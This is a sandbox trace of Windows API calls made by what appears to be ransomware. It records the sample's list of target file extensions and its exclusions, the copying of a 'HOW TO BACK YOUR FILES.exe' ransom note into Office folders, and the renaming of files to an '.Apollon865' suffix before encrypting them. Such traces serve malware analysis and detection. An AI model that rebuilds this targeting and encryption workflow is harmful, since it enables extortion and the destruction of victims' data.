	[0071.696] lstrlenW (lpString=".sys") returned 4
	[0071.696] lstrcmpiW (lpString1="otkloadr_x64.dll", lpString2=".sys") returned 1
	[0071.696] lstrlenW (lpString="otkloadr_x64.dll") returned 16
	[0071.696] lstrlenW (lpString="bak") returned 3
	[0071.696] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1
	[0071.696] lstrlenW (lpString="ba_") returned 3
	[0071.696] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1
	[0071.697] lstrlenW (lpString="dbb") returned 3
	[0071.697] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1
	[0071.697] lstrlenW (lpString="vmdk") returned 4
	[0071.697] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1
	[0071.697] lstrlenW (lpString="rar") returned 3
	[0071.697] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1
	[0071.697] lstrlenW (lpString="zip") returned 3
	[0071.697] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1
	[0071.697] lstrlenW (lpString="tgz") returned 3
	[0071.697] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1
	[0071.697] lstrlenW (lpString="vbox") returned 4
	[0071.697] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1
	[0071.697] lstrlenW (lpString="vdi") returned 3
	[0071.697] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1
	[0071.697] lstrlenW (lpString="vhd") returned 3
	[0071.697] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1
	[0071.697] lstrlenW (lpString="vhdx") returned 4
	[0071.697] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1
	[0071.697] lstrlenW (lpString="avhd") returned 4
	[0071.697] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1
	[0071.697] lstrlenW (lpString="db") returned 2
	[0071.697] lstrcmpiW (lpString1="ll", lpString2="db") returned 1
	[0071.697] lstrlenW (lpString="db2") returned 3
	[0071.697] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1
	[0071.697] lstrlenW (lpString="db3") returned 3
	[0071.697] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1
	[0071.697] lstrlenW (lpString="dbf") returned 3
	[0071.697] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1
	[0071.697] lstrlenW (lpString="mdf") returned 3
	[0071.697] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1
	[0071.697] lstrlenW (lpString="mdb") returned 3
	[0071.697] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1
	[0071.697] lstrlenW (lpString="sql") returned 3
	[0071.697] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1
	[0071.697] lstrlenW (lpString="sqlite") returned 6
	[0071.697] lstrcmpiW (lpString1="64.dll", lpString2="sqlite") returned -1
	[0071.697] lstrlenW (lpString="sqlite3") returned 7
	[0071.697] lstrcmpiW (lpString1="x64.dll", lpString2="sqlite3") returned 1
	[0071.698] lstrlenW (lpString="sqlitedb") returned 8
	[0071.698] lstrcmpiW (lpString1="_x64.dll", lpString2="sqlitedb") returned -1
	[0071.698] lstrlenW (lpString="xml") returned 3
	[0071.698] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1
	[0071.698] lstrlenW (lpString="$er") returned 3
	[0071.698] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1
	[0071.698] lstrlenW (lpString="4dd") returned 3
	[0071.698] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1
	[0071.698] lstrlenW (lpString="4dl") returned 3
	[0071.698] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1
	[0071.698] lstrlenW (lpString="^^^") returned 3
	[0071.698] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1
	[0071.698] lstrlenW (lpString="abs") returned 3
	[0071.698] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1
	[0071.698] lstrlenW (lpString="abx") returned 3
	[0071.698] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1
	[0071.698] lstrlenW (lpString="accdb") returned 5
	[0071.698] lstrcmpiW (lpString1="4.dll", lpString2="accdb") returned -1
	[0071.698] lstrlenW (lpString="accdc") returned 5
	[0071.698] lstrcmpiW (lpString1="4.dll", lpString2="accdc") returned -1
	[0071.698] lstrlenW (lpString="accde") returned 5
	[0071.698] lstrcmpiW (lpString1="4.dll", lpString2="accde") returned -1
	[0071.698] lstrlenW (lpString="accdr") returned 5
	[0071.698] lstrcmpiW (lpString1="4.dll", lpString2="accdr") returned -1
	[0071.698] lstrlenW (lpString="accdt") returned 5
	[0071.698] lstrcmpiW (lpString1="4.dll", lpString2="accdt") returned -1
	[0071.698] lstrlenW (lpString="accdw") returned 5
	[0071.698] lstrcmpiW (lpString1="4.dll", lpString2="accdw") returned -1
	[0071.698] lstrlenW (lpString="accft") returned 5
	[0071.698] lstrcmpiW (lpString1="4.dll", lpString2="accft") returned -1
	[0071.698] lstrlenW (lpString="adb") returned 3
	[0071.698] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0071.698] lstrlenW (lpString="adb") returned 3
	[0071.698] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0071.699] lstrlenW (lpString="ade") returned 3
	[0071.699] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1
	[0071.699] lstrlenW (lpString="adf") returned 3
	[0071.699] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1
	[0071.699] lstrlenW (lpString="adn") returned 3
	[0071.699] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1
	[0071.699] lstrlenW (lpString="adp") returned 3
	[0071.699] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1
	[0071.699] lstrlenW (lpString="alf") returned 3
	[0071.699] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1
	[0071.699] lstrlenW (lpString="ask") returned 3
	[0071.699] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1
	[0071.699] lstrlenW (lpString="btr") returned 3
	[0071.699] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1
	[0071.699] lstrlenW (lpString="cat") returned 3
	[0071.699] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1
	[0071.699] lstrlenW (lpString="cdb") returned 3
	[0071.699] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1
	[0071.699] lstrlenW (lpString="ckp") returned 3
	[0071.699] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1
	[0071.699] lstrlenW (lpString="cma") returned 3
	[0071.699] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1
	[0071.699] lstrlenW (lpString="cpd") returned 3
	[0071.699] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1
	[0071.699] lstrlenW (lpString="dacpac") returned 6
	[0071.699] lstrcmpiW (lpString1="64.dll", lpString2="dacpac") returned -1
	[0071.699] lstrlenW (lpString="dad") returned 3
	[0071.699] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1
	[0071.699] lstrlenW (lpString="dadiagrams") returned 10
	[0071.699] lstrcmpiW (lpString1="dr_x64.dll", lpString2="dadiagrams") returned 1
	[0071.699] lstrlenW (lpString="daschema") returned 8
	[0071.699] lstrcmpiW (lpString1="_x64.dll", lpString2="daschema") returned -1
	[0071.699] lstrlenW (lpString="db-journal") returned 10
	[0071.699] lstrcmpiW (lpString1="dr_x64.dll", lpString2="db-journal") returned 1
	[0071.699] lstrlenW (lpString="db-shm") returned 6
	[0071.699] lstrcmpiW (lpString1="64.dll", lpString2="db-shm") returned -1
	[0071.699] lstrlenW (lpString="db-wal") returned 6
	[0071.699] lstrcmpiW (lpString1="64.dll", lpString2="db-wal") returned -1
	[0071.700] lstrlenW (lpString="dbc") returned 3
	[0071.700] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1
	[0071.700] lstrlenW (lpString="dbs") returned 3
	[0071.700] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1
	[0071.700] lstrlenW (lpString="dbt") returned 3
	[0071.700] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1
	[0071.700] lstrlenW (lpString="dbv") returned 3
	[0071.700] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1
	[0071.700] lstrlenW (lpString="dbx") returned 3
	[0071.700] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1
	[0071.700] lstrlenW (lpString="dcb") returned 3
	[0071.700] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1
	[0071.700] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1
	[0071.700] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1
	[0071.700] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1
	[0071.700] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="OUTEX.ECF" | out: lpString1="OUTEX.ECF") returned="OUTEX.ECF"
	[0071.700] lstrlenW (lpString="OUTEX.ECF") returned 9
	[0071.700] lstrlenW (lpString="Apollon865") returned 10
	[0071.700] lstrlenW (lpString=".dll") returned 4
	[0071.700] lstrcmpiW (lpString1="OUTEX.ECF", lpString2=".dll") returned 1
	[0071.700] lstrlenW (lpString=".lnk") returned 4
	[0071.700] lstrcmpiW (lpString1="OUTEX.ECF", lpString2=".lnk") returned 1
	[0071.700] lstrlenW (lpString=".ini") returned 4
	[0071.700] lstrcmpiW (lpString1="OUTEX.ECF", lpString2=".ini") returned 1
	[0071.700] lstrlenW (lpString=".sys") returned 4
	[0071.700] lstrcmpiW (lpString1="OUTEX.ECF", lpString2=".sys") returned 1
	[0071.700] lstrlenW (lpString="OUTEX.ECF") returned 9
	[0071.701] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="OUTEX2.ECF" | out: lpString1="OUTEX2.ECF") returned="OUTEX2.ECF"
	[0071.701] lstrlenW (lpString="OUTEX2.ECF") returned 10
	[0071.701] lstrlenW (lpString="Apollon865") returned 10
	[0071.701] lstrlenW (lpString=".dll") returned 4
	[0071.701] lstrcmpiW (lpString1="OUTEX2.ECF", lpString2=".dll") returned 1
	[0071.701] lstrlenW (lpString=".lnk") returned 4
	[0071.701] lstrcmpiW (lpString1="OUTEX2.ECF", lpString2=".lnk") returned 1
	[0071.701] lstrlenW (lpString=".ini") returned 4
	[0071.701] lstrcmpiW (lpString1="OUTEX2.ECF", lpString2=".ini") returned 1
	[0071.701] lstrlenW (lpString=".sys") returned 4
	[0071.701] lstrcmpiW (lpString1="OUTEX2.ECF", lpString2=".sys") returned 1
	[0071.701] lstrlenW (lpString="OUTEX2.ECF") returned 10
	[0071.701] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="OUTLVBA.DLL" | out: lpString1="OUTLVBA.DLL") returned="OUTLVBA.DLL"
	[0071.701] lstrlenW (lpString="OUTLVBA.DLL") returned 11
	[0071.701] lstrlenW (lpString="Apollon865") returned 10
	[0071.701] lstrcmpiW (lpString1="UTLVBA.DLL", lpString2="Apollon865") returned 1
	[0071.701] lstrlenW (lpString=".dll") returned 4
	[0071.701] lstrcmpiW (lpString1="OUTLVBA.DLL", lpString2=".dll") returned 1
	[0071.701] lstrlenW (lpString=".lnk") returned 4
	[0071.701] lstrcmpiW (lpString1="OUTLVBA.DLL", lpString2=".lnk") returned 1
	[0071.701] lstrlenW (lpString=".ini") returned 4
	[0071.701] lstrcmpiW (lpString1="OUTLVBA.DLL", lpString2=".ini") returned 1
	[0071.701] lstrlenW (lpString=".sys") returned 4
	[0071.701] lstrcmpiW (lpString1="OUTLVBA.DLL", lpString2=".sys") returned 1
	[0071.701] lstrlenW (lpString="OUTLVBA.DLL") returned 11
	[0071.701] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="PMAILEXT.ECF" | out: lpString1="PMAILEXT.ECF") returned="PMAILEXT.ECF"
	[0071.701] lstrlenW (lpString="PMAILEXT.ECF") returned 12
	[0071.701] lstrlenW (lpString="Apollon865") returned 10
	[0071.701] lstrcmpiW (lpString1="AILEXT.ECF", lpString2="Apollon865") returned -1
	[0071.701] lstrlenW (lpString=".dll") returned 4
	[0071.702] lstrcmpiW (lpString1="PMAILEXT.ECF", lpString2=".dll") returned 1
	[0071.702] lstrlenW (lpString=".lnk") returned 4
	[0071.702] lstrcmpiW (lpString1="PMAILEXT.ECF", lpString2=".lnk") returned 1
	[0071.702] lstrlenW (lpString=".ini") returned 4
	[0071.702] lstrcmpiW (lpString1="PMAILEXT.ECF", lpString2=".ini") returned 1
	[0071.702] lstrlenW (lpString=".sys") returned 4
	[0071.702] lstrcmpiW (lpString1="PMAILEXT.ECF", lpString2=".sys") returned 1
	[0071.702] lstrlenW (lpString="PMAILEXT.ECF") returned 12
	[0071.702] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="UmOutlookAddin.dll" | out: lpString1="UmOutlookAddin.dll") returned="UmOutlookAddin.dll"
	[0071.702] lstrlenW (lpString="UmOutlookAddin.dll") returned 18
	[0071.702] lstrlenW (lpString="Apollon865") returned 10
	[0071.702] lstrcmpiW (lpString1="kAddin.dll", lpString2="Apollon865") returned 1
	[0071.702] lstrlenW (lpString=".dll") returned 4
	[0071.702] lstrcmpiW (lpString1="UmOutlookAddin.dll", lpString2=".dll") returned 1
	[0071.702] lstrlenW (lpString=".lnk") returned 4
	[0071.702] lstrcmpiW (lpString1="UmOutlookAddin.dll", lpString2=".lnk") returned 1
	[0071.702] lstrlenW (lpString=".ini") returned 4
	[0071.702] lstrcmpiW (lpString1="UmOutlookAddin.dll", lpString2=".ini") returned 1
	[0071.702] lstrlenW (lpString=".sys") returned 4
	[0071.702] lstrcmpiW (lpString1="UmOutlookAddin.dll", lpString2=".sys") returned 1
	[0071.702] lstrlenW (lpString="UmOutlookAddin.dll") returned 18
	[0071.702] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ") returned="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ"
	[0071.702] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afc58 | out: hHeap=0x580000) returned 1
	[0071.702] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc88 | out: hHeap=0x580000) returned 1
	[0071.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ") returned 49
	[0071.702] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ") returned="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ"
	[0071.702] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0071.702] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0071.708] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0071.708] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x42d02370, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x42d02370, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0071.708] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0071.708] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0071.708] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0071.708] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x42d02370, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x42d02370, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0071.708] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0071.708] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0071.708] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0071.708] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0071.708] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2df3800, ftCreationTime.dwHighDateTime=0x1cab5b6, ftLastAccessTime.dwLowDateTime=0x5ea11a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd2df3800, ftLastWriteTime.dwHighDateTime=0x1cab5b6, nFileSizeHigh=0x0, nFileSizeLow=0x5f6000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ACWZDAT12.ACCDU", cAlternateFileName="ACWZDA~1.ACC")) returned 1
	[0071.708] lstrcmpiW (lpString1="ACWZDAT12.ACCDU", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0071.708] lstrcmpiW (lpString1="ACWZDAT12.ACCDU", lpString2="Apollon865.txt.exe") returned -1
	[0071.708] lstrcmpiW (lpString1="ACWZDAT12.ACCDU", lpString2=".") returned 1
	[0071.708] lstrcmpiW (lpString1="ACWZDAT12.ACCDU", lpString2="..") returned 1
	[0071.708] lstrcmpiW (lpString1="ACWZDAT12.ACCDU", lpString2="windows") returned -1
	[0071.708] lstrcmpiW (lpString1="ACWZDAT12.ACCDU", lpString2="bootmgr") returned -1
	[0071.709] lstrcmpiW (lpString1="ACWZDAT12.ACCDU", lpString2="temp") returned -1
	[0071.709] lstrcmpiW (lpString1="ACWZDAT12.ACCDU", lpString2="pagefile.sys") returned -1
	[0071.709] lstrcmpiW (lpString1="ACWZDAT12.ACCDU", lpString2="boot") returned -1
	[0071.709] lstrcmpiW (lpString1="ACWZDAT12.ACCDU", lpString2="ids.txt") returned -1
	[0071.709] lstrcmpiW (lpString1="ACWZDAT12.ACCDU", lpString2="ntuser.dat") returned -1
	[0071.709] lstrcmpiW (lpString1="ACWZDAT12.ACCDU", lpString2="perflogs") returned -1
	[0071.709] lstrcmpiW (lpString1="ACWZDAT12.ACCDU", lpString2="MSBuild") returned -1
	[0071.709] lstrlenW (lpString="ACWZDAT12.ACCDU") returned 15
	[0071.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\*") returned 51
	[0071.709] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="ACWZDAT12.ACCDU" | out: lpString1="ACWZDAT12.ACCDU") returned="ACWZDAT12.ACCDU"
	[0071.709] lstrlenW (lpString="ACWZDAT12.ACCDU") returned 15
	[0071.709] lstrlenW (lpString="Apollon865") returned 10
	[0071.709] lstrcmpiW (lpString1="AT12.ACCDU", lpString2="Apollon865") returned 1
	[0071.709] lstrlenW (lpString=".dll") returned 4
	[0071.709] lstrcmpiW (lpString1="ACWZDAT12.ACCDU", lpString2=".dll") returned 1
	[0071.709] lstrlenW (lpString=".lnk") returned 4
	[0071.709] lstrcmpiW (lpString1="ACWZDAT12.ACCDU", lpString2=".lnk") returned 1
	[0071.709] lstrlenW (lpString=".ini") returned 4
	[0071.709] lstrcmpiW (lpString1="ACWZDAT12.ACCDU", lpString2=".ini") returned 1
	[0071.709] lstrlenW (lpString=".sys") returned 4
	[0071.709] lstrcmpiW (lpString1="ACWZDAT12.ACCDU", lpString2=".sys") returned 1
	[0071.709] lstrlenW (lpString="ACWZDAT12.ACCDU") returned 15
	[0071.709] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="ACWZLIB.ACCDE" | out: lpString1="ACWZLIB.ACCDE") returned="ACWZLIB.ACCDE"
	[0071.709] lstrlenW (lpString="ACWZLIB.ACCDE") returned 13
	[0071.709] lstrlenW (lpString="Apollon865") returned 10
	[0071.709] lstrcmpiW (lpString1="ZLIB.ACCDE", lpString2="Apollon865") returned 1
	[0071.709] lstrlenW (lpString=".dll") returned 4
	[0071.709] lstrcmpiW (lpString1="ACWZLIB.ACCDE", lpString2=".dll") returned 1
	[0071.709] lstrlenW (lpString=".lnk") returned 4
	[0071.709] lstrcmpiW (lpString1="ACWZLIB.ACCDE", lpString2=".lnk") returned 1
	[0071.709] lstrlenW (lpString=".ini") returned 4
	[0071.709] lstrcmpiW (lpString1="ACWZLIB.ACCDE", lpString2=".ini") returned 1
	[0071.710] lstrlenW (lpString=".sys") returned 4
	[0071.710] lstrcmpiW (lpString1="ACWZLIB.ACCDE", lpString2=".sys") returned 1
	[0071.710] lstrlenW (lpString="ACWZLIB.ACCDE") returned 13
	[0071.710] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE.Apollon865") returned 74
	[0071.710] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzlib.accde"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzlib.accde.apollon865"), dwFlags=0x1) returned 1
	[0071.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzlib.accde.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0071.711] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=2113536) returned 1
	[0071.711] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0071.712] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0071.712] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf5f0
	[0071.712] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf898) returned 1
	[0071.712] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0071.712] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0071.713] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x204300, lpName=0x0) returned 0x100
	[0071.714] MapViewOfFile (hFileMappingObject=0x100, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x200000, dwNumberOfBytesToMap=0x4300) returned 0x100000
	[0071.716] MapViewOfFile (hFileMappingObject=0x100, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3390000
	[0071.831] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf898) returned 1
	[0071.831] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0071.831] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0071.831] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0071.831] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0071.832] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0071.832] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0071.832] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0071.832] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0071.832] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b3188
	[0071.832] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0071.832] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b3188 | out: hHeap=0x580000) returned 1
	[0071.832] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0071.832] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0071.832] CloseHandle (hObject=0x100) returned 1
	[0071.832] CloseHandle (hObject=0xc0) returned 1
	[0071.832] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0071.832] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0071.832] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0071.841] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2df3800, ftCreationTime.dwHighDateTime=0x1cab5b6, ftLastAccessTime.dwLowDateTime=0x511e6c70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd2df3800, ftLastWriteTime.dwHighDateTime=0x1cab5b6, nFileSizeHigh=0x0, nFileSizeLow=0x8f8000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ACWZMAIN.ACCDE", cAlternateFileName="ACWZMA~1.ACC")) returned 1
	[0071.842] lstrcmpiW (lpString1="ACWZMAIN.ACCDE", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0071.842] lstrcmpiW (lpString1="ACWZMAIN.ACCDE", lpString2="Apollon865.txt.exe") returned -1
	[0071.842] lstrcmpiW (lpString1="ACWZMAIN.ACCDE", lpString2=".") returned 1
	[0071.842] lstrcmpiW (lpString1="ACWZMAIN.ACCDE", lpString2="..") returned 1
	[0071.842] lstrcmpiW (lpString1="ACWZMAIN.ACCDE", lpString2="windows") returned -1
	[0071.842] lstrcmpiW (lpString1="ACWZMAIN.ACCDE", lpString2="bootmgr") returned -1
	[0071.842] lstrcmpiW (lpString1="ACWZMAIN.ACCDE", lpString2="temp") returned -1
	[0071.842] lstrcmpiW (lpString1="ACWZMAIN.ACCDE", lpString2="pagefile.sys") returned -1
	[0071.842] lstrcmpiW (lpString1="ACWZMAIN.ACCDE", lpString2="boot") returned -1
	[0071.842] lstrcmpiW (lpString1="ACWZMAIN.ACCDE", lpString2="ids.txt") returned -1
	[0071.842] lstrcmpiW (lpString1="ACWZMAIN.ACCDE", lpString2="ntuser.dat") returned -1
	[0071.842] lstrcmpiW (lpString1="ACWZMAIN.ACCDE", lpString2="perflogs") returned -1
	[0071.842] lstrcmpiW (lpString1="ACWZMAIN.ACCDE", lpString2="MSBuild") returned -1
	[0071.842] lstrlenW (lpString="ACWZMAIN.ACCDE") returned 14
	[0071.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE") returned 63
	[0071.842] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="ACWZMAIN.ACCDE" | out: lpString1="ACWZMAIN.ACCDE") returned="ACWZMAIN.ACCDE"
	[0071.842] lstrlenW (lpString="ACWZMAIN.ACCDE") returned 14
	[0071.842] lstrlenW (lpString="Apollon865") returned 10
	[0071.842] lstrcmpiW (lpString1="MAIN.ACCDE", lpString2="Apollon865") returned 1
	[0071.842] lstrlenW (lpString=".dll") returned 4
	[0071.842] lstrcmpiW (lpString1="ACWZMAIN.ACCDE", lpString2=".dll") returned 1
	[0071.842] lstrlenW (lpString=".lnk") returned 4
	[0071.842] lstrcmpiW (lpString1="ACWZMAIN.ACCDE", lpString2=".lnk") returned 1
	[0071.842] lstrlenW (lpString=".ini") returned 4
	[0071.842] lstrcmpiW (lpString1="ACWZMAIN.ACCDE", lpString2=".ini") returned 1
	[0071.842] lstrlenW (lpString=".sys") returned 4
	[0071.842] lstrcmpiW (lpString1="ACWZMAIN.ACCDE", lpString2=".sys") returned 1
